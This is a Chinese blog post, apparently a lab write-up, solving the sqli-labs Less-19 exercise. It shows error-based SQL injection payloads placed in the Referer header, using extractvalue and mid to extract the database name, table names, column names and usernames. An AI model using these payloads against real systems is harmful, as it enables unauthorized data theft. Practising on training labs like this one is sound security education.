[网络安全]sqli-labs Less-19 解题详析

简介: [网络安全]sqli-labs Less-19 解题详析

姿势

由代码审计可知,注入点为HTTP_REFERER,且注入类型为',注入语句)#


查库名

测试得到正确的用户名为admin,密码为1,抓包后修改referer为以下POC:

1',extractvalue(1,concat(0x23,database())))#

得到库名为security


查表名

1',extractvalue(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema = database()))))#


查列名

1',extractvalue(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'users'))))#

得到三个列


查数据

该姿势使用到mid函数,

我们以username列为例,利用mid()函数构造POC如下:

1',extractvalue(1,concat(0x23,mid((select group_concat(username) from users),1,32))))#

接着,我们提取从第 32 个字符开始的长度为 32 的子字符串:

POC如下:

1',extractvalue(1,concat(0x23,mid((select group_concat(username) from users),32,32))))#

同理即可得到所有的username


总结

以上为[网络安全]sqli-labs Less-19 解题详析,考察报错注入及mid函数的应用,后续将分享 [网络安全]sqli-labs Less-20 解题详析。

我是秋说,我们下次见。

目录
相关文章
|
6月前
|
存储 安全 生物认证
【网络安全 | 指纹识别工具】WhatWeb使用详析
【网络安全 | 指纹识别工具】WhatWeb使用详析
377 0
【网络安全 | 指纹识别工具】WhatWeb使用详析
|
6月前
|
网络安全 虚拟化
【网络安全 | 工具】Kali虚拟机安装教程及报错详析
【网络安全 | 工具】Kali虚拟机安装教程及报错详析
240 0
【网络安全 | 工具】Kali虚拟机安装教程及报错详析
|
6月前
|
网络协议 Unix Linux
【网络安全 | 信息收集】操作系统判定及端口扫描(全网最详析)
【网络安全 | 信息收集】操作系统判定及端口扫描(全网最详析)
205 0
|
6月前
|
安全 Java 网络安全
【网络安全 | 扫描器】御剑安装及使用教程详析
【网络安全 | 扫描器】御剑安装及使用教程详析
1422 0
|
6月前
|
Web App开发 算法 网络安全
【网络安全 | Misc】解码工具Koczkatamas及CyberChef安装及使用详析
【网络安全 | Misc】解码工具Koczkatamas及CyberChef安装及使用详析
619 0
|
6月前
|
前端开发 安全 JavaScript
【网络安全 | 网安工具】御剑WEB指纹识别系统使用详析
【网络安全 | 网安工具】御剑WEB指纹识别系统使用详析
296 0
|
6月前
|
网络安全
[网络安全]sqli-labs Less-26 解题详析
[网络安全]sqli-labs Less-26 解题详析
94 0
|
6月前
|
SQL 网络安全 数据库
[网络安全]sqli-labs Less-26a 解题详析
[网络安全]sqli-labs Less-26a 解题详析
79 0
|
6月前
|
SQL 网络安全
[网络安全]sqli-labs Less-25a 解题详析
[网络安全]sqli-labs Less-25a 解题详析
57 0
|
3天前
|
存储 SQL 安全
网络安全与信息安全:关于网络安全漏洞、加密技术、安全意识等方面的知识分享
【10月更文挑战第39天】在数字化时代,网络安全和信息安全成为了我们生活中不可或缺的一部分。本文将介绍网络安全漏洞、加密技术和安全意识等方面的内容,帮助读者更好地了解网络安全的重要性,并提供一些实用的技巧和方法来保护自己的信息安全。
14 2